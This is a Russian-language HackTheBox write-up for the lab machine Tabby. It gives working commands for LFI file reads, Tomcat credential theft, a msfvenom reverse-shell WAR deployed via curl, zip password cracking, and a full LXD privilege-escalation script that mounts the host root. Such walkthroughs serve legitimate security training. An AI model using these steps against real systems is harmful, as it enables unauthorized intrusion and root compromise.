> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-easy/tabby-hackthebox-writeup.md).

# Разбор Tabby на HackTheBox

{% embed url="<https://app.hackthebox.com/machines/259>" %}

{% hint style="warning" %}
**Навыки:**

* Включение локальных файлов (LFI)
* Злоупотребление менеджером виртуальных хостов Tomcat
* Злоупотребление текстовым менеджером Tomcat — развертывание вредоносного WAR (метод Curl)
* Эксплуатация LXD (повышение привилегий)
  {% endhint %}

## Разведка

**Настройка рабочей среды:**

Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.

<figure><img src="/files/1ed87e55c657f520a0754be325aed2dc6d22266e" alt="" width="563"><figcaption></figcaption></figure>

**Проверка подключения VPN**

Проверьте подключение к VPN, чтобы обеспечить стабильную связь с целевой машиной.

<figure><img src="/files/063bb7f175b27f203674c4b5629c84f90cde5bbb" alt="" width="563"><figcaption></figcaption></figure>

**Обнаружение открытых портов с помощью Nmap:**

Перечислите открытые порты и экспортируйте результаты в файл "allPorts" в каталоге Nmap:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.194 -oG allPorts
```

<figure><img src="/files/235c2c48608d9f7eee8dde546cf22f9a8b92e0ee" alt="" width="563"><figcaption></figcaption></figure>

**Анализ открытых портов с помощью extractPorts:**

Используйте функцию extractPorts, чтобы отобразить открытые порты в кратком формате и скопировать их в буфер обмена.

<figure><img src="/files/9632f9e5e1bbf966778eea46e8dd227695439e64" alt="" width="563"><figcaption></figcaption></figure>

**Сканирование версий портов с Nmap:**

Используйте Nmap для сканирования версий сервисов и сохраните вывод в файл "targeted":

```bash
nmap -sCV -p22,80,8080 10.10.10.194 -oN targeted
```

<figure><img src="/files/96792e4693a892d67697fb357c483a1258ab0f29" alt=""><figcaption></figcaption></figure>

Чтобы преобразовать доменные имена в IP-адреса через DNS, вставьте доменное имя, связанное с его IP-адресом, в `/etc/hosts` файле.

<figure><img src="/files/3add4288605949d73607abb21726cdecbfd55da7" alt=""><figcaption></figcaption></figure>

### **Порт 80:**

<figure><img src="/files/2ae1361d12be382616ab7de56320e4ee562d6570" alt=""><figcaption></figcaption></figure>

**Поиск каталогов:**

Мы используем Gobuster для поиска директорий на сайте:

```bash
gobuster dir -u http://megahosting.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

* **Результаты:** `assets`, `files`, и `server-status`.

<figure><img src="/files/2cea7169d049e42880e92ccd263044f35c01c5d0" alt=""><figcaption></figcaption></figure>

Поиск поддоменов:

```bash
gobuster vhost -u http://megahosting.htb -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 | grep -v "400"
```

<figure><img src="/files/cb577fc98bfd488dcc398f066a062a22ef98ce95" alt=""><figcaption></figcaption></figure>

## Уязвимость LFI:

Доступ к уязвимому файлу `new.php` через `?file` переменная в `оператор` папке.

<figure><img src="/files/c98fc5de2b5b1055b5f1cea1823e94a0b7a83612" alt=""><figcaption></figcaption></figure>

**Тестирование локального включения файлов (LFI)**:

`http://megahosting.htb/news.php?file=../../../../etc/passwd`

<figure><img src="/files/5241eb2e527c439e823d0bb83609a95605f844ee" alt=""><figcaption></figcaption></figure>

* **Результат:** Доступ к файлу `/etc/passwd`, выявив двух пользователей: `ash` и `root`.

**Попытка получить доступ к приватному SSH-ключу Аш**:

`?file=../../../../../../../home/ash/.ssh/id_rsa`

* **Результат:** Доступ запрещён.

<figure><img src="/files/eadb0c17db0994e59a403a4f14b5c326c9f381a9" alt=""><figcaption></figcaption></figure>

**Поиск внутренних портов** через `/proc/net/tcp` файл, чтобы выявить скрытые службы:

<figure><img src="/files/6c90d7488fcc0d20df15f306d7cd01acf2abc2bc" alt=""><figcaption></figcaption></figure>

**Поиск внутренних портов** через `/proc/net/tcp` файл, чтобы выявить скрытые службы:

```bash
curl -s -X GET "http://megahosting.htb/news.php?file=../../../../../../../proc/net/tcp" |
awk 'NR>1 { 
    # Взять поле local_address
    split($2, addr_port, ":");
    
    # Преобразовать адрес в формат IP
    hex_addr = addr_port[1];
    ip = sprintf("%d.%d.%d.%d", 
                 strtonum("0x" substr(hex_addr, 7, 2)), 
                 strtonum("0x" substr(hex_addr, 5, 2)), 
                 strtonum("0x" substr(hex_addr, 3, 2)), 
                 strtonum("0x" substr(hex_addr, 1, 2)));

    # Преобразовать порт в десятичный формат
    port = strtonum("0x" addr_port[2]);
    
    # Вывести результат в формате IP:Port
    printf "%s:%d/n", ip, port;
}'
```

**Результат:** Обнаружение внутреннего порта `34650`

<figure><img src="/files/7ebeec1874390af36a34898a8faa2239b4be0077" alt="" width="563"><figcaption></figcaption></figure>

### **Эксплуатация менеджера виртуальных хостов Tomcat (порт 8080)**

**Доступ к Tomcat** через порт 8080 и поиск информации аутентификации. По умолчанию она хранится в `/etc/tomcat9/tomcat-users.xml`  или `usr/share/tomcat9/etc/tomcat-users.xml`

<figure><img src="/files/45d0f980d83518997913a31fca00b4302ba40956" alt=""><figcaption></figcaption></figure>

**Учетные данные** найдено:

`имя пользователя = tomcat`

`пароль = $3cureP4s5w0rd123!`

<figure><img src="/files/ebc883b835f208678517236021134ffdb4501299" alt=""><figcaption></figcaption></figure>

**Попытка доступа к** `/manager/html` возвращает ошибку 403.<br>

<figure><img src="/files/84663b97a2ef913fdf70ad714fa2865d5df1ff5e" alt=""><figcaption></figcaption></figure>

1. **Альтернатива через `/host-manager/html`**, но не удается создать приложение с `.war` файле.

{% embed url="<https://www.certilience.fr/2019/03/tomcat-exploit-variant-host-manager/>" %}

<figure><img src="/files/40b9badc233d1a23bff126c4186124e0f335e497" alt=""><figcaption></figcaption></figure>

### **Эксплуатация текстового менеджера Tomcat**

**Список приложений командной строки**:

```bash
curl -u 'tomcat:$3cureP4s5w0rd123!' -s -X GET "http://megahosting.htb:8080/manager/text/list"
```

<figure><img src="/files/2336652626754984ab0c720d09d06894d5a5eac8" alt=""><figcaption></figcaption></figure>

**Создание WAR-файла для reverse shell** на `msfvenom`:

{% code overflow="wrap" fullWidth="false" %}

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.7 LPORT=443 -f war -o reverse.war
```

{% endcode %}

<figure><img src="/files/c3216322dd84eaaf9c598e59469bf0f027eeef73" alt="" width="563"><figcaption></figcaption></figure>

**Развертывание WAR-файла** через Curl:

{% code overflow="wrap" %}

```bash
curl -s -u 'tomcat:$3cureP4s5w0rd123!' "http://megahosting.htb:8080/manager/text/deploy?path=/reverse" --upload-file reverse.war
```

{% endcode %}

<figure><img src="/files/b28d9d1b46d225a9222c4cfb6ab8cf15b1bf6d71" alt=""><figcaption></figcaption></figure>

**Ожидание подключения reverse shell**

```bash
nc -nlvp 443 
```

**Доступ к reverse shell** через URL `http://megahosting.htb:8080/reverse`.

<figure><img src="/files/cb5f119b02a253b28470d1a2fa28564ee1a0656a" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/9c23f2b7ff74ef51f5dd9a53387321bc53ad0182" alt="" width="563"><figcaption></figcaption></figure>

#### Обработка терминала

После получения доступа к Linux-серверу вот команды, которые нужно выполнить для обработки терминала

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

#### Стабилизируйте оболочку для более удобной работы. <a href="#stabilize-the-shell" id="stabilize-the-shell"></a>

## Повышение привилегий:

**Изучение `/var/www/html`** папки/ При изучении содержимого этой папки мы обнаруживаем папку `files` содержащую файл сохранения: `16162020_backup.zip`.

**Перенос `.zip` файла на локальную машину**

Чтобы упростить анализ, мы переносим сжатый файл на локальную машину, запустив HTTP-сервер с помощью Python:

```bash
python3 -m http.server 655
```

<figure><img src="/files/c8d7ecbd36a955a1134635e015c6129d50e7aec2" alt=""><figcaption></figcaption></figure>

### Брутфорс .zip-файла:

**Распаковка файла `.zip` - подбор пароля**/ Пользователь `.zip` Файл защищён паролем.

<figure><img src="/files/94f467158851e25f730a5b84acd399c352c1ea2f" alt="" width="563"><figcaption></figcaption></figure>

**Извлечение хеша с помощью `zip2john`**:

Поэтому мы используем zip2john, чтобы извлечь хеш

```bash
zip2john 16162020_backup.zip > hash
```

<figure><img src="/files/be407fd927985be78b65b8e0acfc5652da77bc33" alt=""><figcaption></figcaption></figure>

**Подбор пароля с помощью `john`**:

<pre class="language-bash"><code class="lang-bash"><strong>john -w:/usr/share/SecLists/Passwords/Leaked-Databases/rockyou.txt hash
</strong></code></pre>

**Результат**: Пароль найден — `admin@it`.

<figure><img src="/files/d04ec92204bb6d4c41a6c83111dde3a7effb56e3" alt=""><figcaption></figcaption></figure>

**Распаковка и анализ содержимого**/ Используйте пароль, чтобы распаковать архив:

<figure><img src="/files/06b4cafa485fa357f974384f923891a110532cb9" alt="" width="563"><figcaption></figcaption></figure>

Распаковка создает `var` папку, содержащую несколько полезных файлов. Однако `admin@it` пароль также подходит для `ash` пользователя на целевой машине.

### Флаг User.txt

<figure><img src="/files/8e648d6183bca9d53921bda0db7f4e0296f2a9d7" alt="" width="563"><figcaption></figcaption></figure>

### Эксплуатация LXD:

**Определите, что пользователь `ash` принадлежит к `lxd` группы**:

Проверив группы, к которым принадлежит пользователь `ash` мы замечаем, что он состоит в `lxd` группе, что позволяет эксплуатировать LXC для получения root-прав.

<figure><img src="/files/4a2c829dc01f715680a799221223f46357e344c9" alt=""><figcaption></figcaption></figure>

**Скачивание и подготовка эксплойта**:

Используйте `searchsploit` чтобы получить скрипт эксплойта для уязвимости LXC (CVE-2020-16941)

<figure><img src="/files/944731c9389b3367d81b9f6c8607b1c3192158dc" alt="" width="563"><figcaption></figcaption></figure>

Этот скрипт позволяет эксплуатировать уязвимость LXC для выполнения команд с повышенными привилегиями.

**Содержимое скрипта эксплойта (46978.sh)**:

<pre class="language-bash"><code class="lang-bash">#!/usr/bin/env bash

<strong>function helpPanel(){
</strong>  echo -e "/nИспользование:"
  echo -e "/t[-f] Filename (.tar.gz alpine file)"
  echo -e "/t[-h] Показать эту справку/n"
  exit 1
}

function createContainer(){
  lxc image import $filename --alias alpine &#x26;&#x26; lxd init --auto
  echo -e "[*] Список образов.../n" &#x26;&#x26; lxc image list
  lxc init alpine privesc -c security.privileged=true
  lxc config device add privesc giveMeRoot disk source=/ path=/mnt/root recursive=true
  lxc start privesc
  lxc exec privesc sh
  очистка
}

function cleanup(){
  echo -en "/n[*] Удаление контейнера..."
  lxc stop privesc &#x26;&#x26; lxc delete privesc &#x26;&#x26; lxc image delete alpine
  echo " [√]"
}

set -o nounset
set -o errexit

declare -i parameter_enable=0; while getopts ":f:h:" arg; do
  case $arg in
    f) filename=$OPTARG &#x26;&#x26; let parameter_enable+=1;;
    h) helpPanel;;
  esac
done

if [ $parameter_enable -ne 1 ]; then
  helpPanel
else
  createContainer
fi
</code></pre>

* Скрипт позволяет нам создать контейнер LXC с повышенными привилегиями, что дает нам доступ root на целевой машине.

**Скачивание файла образа Alpine и скрипта:**

Клонируйте репозиторий, содержащий файлы, необходимые для эксплуатации, и передайте их на свою машину через локальный HTTP-сервер.

```bash
git clone https://github.com/saghul/lxd-alpine-builder
```

Запустите локальный HTTP-сервер для раздачи файла и скрипта

```bash
python3 -m http.server 80
```

На целевой машине скачайте скрипт и файл образа:

```bash
cd /tmp
wget http://10.10.14.7/46978.sh
wget http://10.10.14.7/alpine-v3.13-x86_64-20210218_0139.tar.gz
```

<figure><img src="/files/323e7112f171782006294751afc8c507b5f4976c" alt=""><figcaption></figcaption></figure>

**Обновление PATH**:

Настройте `PATH` чтобы команды LXC корректно интерпретировались.

```bash
export PATH=/home/jordan/.local/bin:/snap/bin:/usr/sandbox:/opt/nvim-linux64/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/usr/share/games:/usr/local/sbin:/usr/sbin:/sbin:/opt/kitty/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/home/jordan/.fzf/bin:/usr/local/bin
```

**Запуск скрипта эксплойта**

Запустите скрипт с загруженным файлом образа Alpine, чтобы эксплуатировать уязвимость и получить root shell:

```bash
./lxd.sh -f alpine-v3.13-x86_64-20210218_0139.tar.gz
```

<figure><img src="/files/b86f365e7a8a2ab186302c4098f84b55b70d32ec" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/cfa1efe7d4a0c5b1bb243031cef7ae63ce3be27a" alt=""><figcaption></figcaption></figure>

Чтобы выйти из контейнера, просто перейдите в `/mnt/root` каталог.

### Флаг root :)

<figure><img src="/files/d410fd10f6c5977c9fc10b5c54c47aa0bcc0c15f" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/d2a313f37207642fd5033fef3f5e1934e313bcf2" alt="" width="522"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-easy/tabby-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
